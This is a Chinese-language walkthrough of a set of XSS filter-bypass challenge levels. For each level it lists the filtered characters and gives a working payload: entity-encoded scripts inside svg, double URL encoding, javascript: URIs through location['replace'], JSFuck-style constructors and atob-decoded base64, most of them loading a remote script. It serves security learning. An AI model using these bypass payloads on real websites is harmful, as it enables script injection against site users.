本文内容:
XSS独孤九剑修炼学习记录
第一关
http://xcao.vip/test/xss1.php/?data=
这一关过滤了=()
,这样就用不了我们的on
事件等
这里有个思路就是采用<svg>
标签可以对<script>
标签内的HTML实体编码
后的数据进行解码处理的特点,从而可以绕过=()
的过滤
首先闭合前面的标签
http://xcao.vip/test/xss1.php/?data=1"> |
然后使用<svg>
来包裹我们需要的的<script>
标签
http://xcao.vip/test/xss1.php/?data=1"><svg><script></script></svg> |
现在需要嵌入我们需要执行的任意JS
代码即可
但这里需要注意的是,<svg
标签只能解析<script>
内的HTML实体编码
,对于形如<script src='http://xxx.com' />
是不能解析的
所以这里需要引入一个中间过程来处理这个
这里经过测试
document.body.appendChild(document.createElement('script')) |
是可以创建新的标签<script>
的
然后通过给新创建的<script>
加上src
属性即可
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js' |
现在只需要进行HTML实体编码
以及URL编码
即可
最终payload
http://xcao.vip/test/xss1.php?data=1%22%3E%3Csvg%3E%3Cscript%3E%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x2e%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6e%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6c%3B%26%23x64%3B%26%23x28%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6c%3B%26%23x65%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x27%3B%26%23x29%3B%26%23x29%3B%26%23x2e%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3a%3B%26%23x2f%3B%26%23x2f%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6f%3B%26%23x2e%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2f%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2f%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2e%3B%26%23x6a%3B%26%23x73%3B%26%23x27%3B%26%23x3b%3B%3C%2Fscript%3E%3C%2Fsvg%3E |
他那个作者写的攻略是通过location.hash
来从锚点读取要执行的命令,这么做的好处就是不需要对命令进行HTML实体编码
对了,要注意浏览器的解码顺序都是URL解码
开始,所有在传入payload
的时候需要进行URL编码
处理
第二关
http://xcao.vip/test/xss2.php/?data=
第二关过滤=().
这道题好像用第一关的payload
打即可,Hhhhh
http://xcao.vip/test/xss2.php?data=1%22%3E%3Csvg%3E%3Cscript%3E%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x2e%3B%26%23x61%3B%26%23x70%3B%26%23x70%3B%26%23x65%3B%26%23x6e%3B%26%23x64%3B%26%23x43%3B%26%23x68%3B%26%23x69%3B%26%23x6c%3B%26%23x64%3B%26%23x28%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x2e%3B%26%23x63%3B%26%23x72%3B%26%23x65%3B%26%23x61%3B%26%23x74%3B%26%23x65%3B%26%23x45%3B%26%23x6c%3B%26%23x65%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x28%3B%26%23x27%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x27%3B%26%23x29%3B%26%23x29%3B%26%23x2e%3B%26%23x73%3B%26%23x72%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x68%3B%26%23x74%3B%26%23x74%3B%26%23x70%3B%26%23x3a%3B%26%23x2f%3B%26%23x2f%3B%26%23x78%3B%26%23x63%3B%26%23x61%3B%26%23x6f%3B%26%23x2e%3B%26%23x76%3B%26%23x69%3B%26%23x70%3B%26%23x2f%3B%26%23x78%3B%26%23x73%3B%26%23x73%3B%26%23x2f%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x2e%3B%26%23x6a%3B%26%23x73%3B%26%23x27%3B%26%23x3b%3B%3C%2Fscript%3E%3C%2Fsvg%3E |
还有一个解法就是用setTimeOut
原理是一样的,这里要注意的是要对setTimeOut
里的参数进行Unicode
编码处理
第三关
http://xcao.vip/test/xss3.php?data=
这一关过滤了().&#\
,那就不能用HTML实体编码
来打了
但这里等号=
却没有过滤
这里是直接用<script src='xxxxxxx.js'></script>
来触发
但是这里需要注意的是,由于把.
给过滤了,这里需要二次URL编码
进行绕过
所以最终payload
为:
http://xcao.vip/test/xss3.php?data=1"><script src='http://xcao%252Evip/xss/alert%252Ejs'></script> |
第四关
http://xcao.vip/test/xss4.php?data=
这一关过滤了=().&#\
实际上这时候Unicode、HTML实体编码
因为都有上面的字符,所以不能用了
这里用到了location['replace']
这个方法
大概就是载入新的网页,其中的参数接受URL
,所以会对里面进行URL解码
操作
由于javascript:xxxx
输入协议簇,因此同样适用
比如location['replace']('javascript:alert(1);')
会弹窗一样
这里本想直接在location['replace']()
中执行
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/xss/alert.js' |
但发现一直有问题,所以这里采用锚点的方式来取我们要执行的语句
要注意location['replace']()
的参数要二次URL编码
所以最终的payload
为
http://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27replace%27]`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C/script%3E#with(document)body.appendChild(createElement(/script/.source)).src='http://xcao.vip/xss/alert.js' |
至于为什么是两个eval
我也不晓得,我这里测试只用一个也是可以的,但如果不加eval
的话,会把http://xcao.vip/xss/alert.js
打印到页面上
第五关
http://xcao.vip/test/xss5.php?data=
过滤了().&#\%
,这里能用的有=
,而且第三关的套路已经因为%
被禁用而不能用了
但这里却可以用自己的服务器跳转,具体实现方式就是将IP转换为十进制
在自己的服务器上通过 302 进行跳转到http://xcao.vip/xss/alert.js
我这里没有可用的服务器,就不复现了,反正原理很简单的
第六关
http://xcao.vip/test/xss6.php?data=
过滤了=().&#\%
单纯看过滤就知道HTML实体编码、URL编码和Unicode编码已经用不了了
这里我看到的做法是引入了document.write
把JS
语句写入到页面
但这里需要引入<img
标签
否则就会这样
所以payload
为
http://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%27write%27]`%3Cimg%20${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'// |
所以说使用${}
作为变量包裹需要在ES6
的场景下才能使用,不过我还是有些不明白为什么<img
后面有个逗号,
这里面实际上是没有,
的
第七关
http://xcao.vip/test/xss7.php/?data=
这一关比较强,过滤了=().&#\%<>
那么HTML实体编码、URL编码还有<标签>
也用不了了
不过看他这一关,输出是在script
标签里面
这一关我们可以采用类似于JSFuck
的方式来进行绕过
一些基本的表达:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function =>
[][“filter”]`eval
=>[]["filter"]["constructor"](CODE)()
window
=>[]["filter"]["constructor"]("return this")()
那么我用这里用
事实证明这么写是可以的
现在需要把payload
触发即可
http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js' |
这钱原作者在触发XSS
的时候提到了,由于ES6
模板语法的问题导致需要在$
前面加一个字符才可以
这里看到同样有一个逗号,
,这里需要加个字符来把这个逗号给堵上才可以
我猜测是加上的字符就是作为形参来填补位置,这么解释的话就通了
第八关
http://xcao.vip/test/xss8.php/?data=
过滤为=().&#\%<>'"[]
那么JSfuck
就用不了了
这里就可以采用atob
来把base64
编码后的payload
打过去(这里自己反引号前的把\
删掉,也可以不删
http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}\`\`\` |
感觉还是很妙,但是输出点在script
标签里面,实际上的利用价值不是很大
第八-1关
http://xcao.vip/test/xss8-1.php?data=x
这一关的过滤了=().&#\%<>'"{}
这里没有过滤[]
然后我看他这里是通过给script
标签内部的a
变量进行赋值,那么是不是可以通过atob
函数来进行payload
解码,然后通过javascript
伪协议执行我们的a
变量
http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPScveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`;location[`replace`]`javascript:a` |
但是实际利用价值不高Hhhhhh
第八-2关
http://xcao.vip/test/xss8-2.php?data=x
这一关的过滤是=().&#\%<>'"[]Function
这一关把[]
过滤了,就没法引入函数的方式来调用了
所以说这里需要引入一个新的函数来代替Fuction
这里原作者选择了window.open
函数进行替代
这里解释一下payload
http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}` |
它实际上,这时候是把name
的参数作为变量传入到URL
里面,这里实际上他传入的是形参,所以说如果写入的是na1me
而不是name
是肯定没法触发的,这里把base64
解码一下看看结果
所以思路很简单,就是把payload
作为参数传入到Window open
的URL
形参当中,进行触发
这里也写一下为什么第七关会报错
这里之所以需要在$
在前面加个字符,就是为了把那么字符作为参数传入
第九关
http://xcao.vip//test/xss9.php?data=
这一关的过滤为().&#\%<>"$[]{};,/
,还有个反引号
这个作者用的是
http://xcao.vip/test/xss9.php?data=location=name |
但这个打开就无限跳,而且输出点还是在script
的变量里面,利用条件太难了(Giao
总结
挖XSS
的时候,一定要看过滤,也可以直接fuzz
跑一遍
手工+脚本注入一起用效果会好很多
对于开发而言,一定要用框架,不要自己写过滤,很容易漏过滤,过滤的顺序也不能出错,防止出现字符逃逸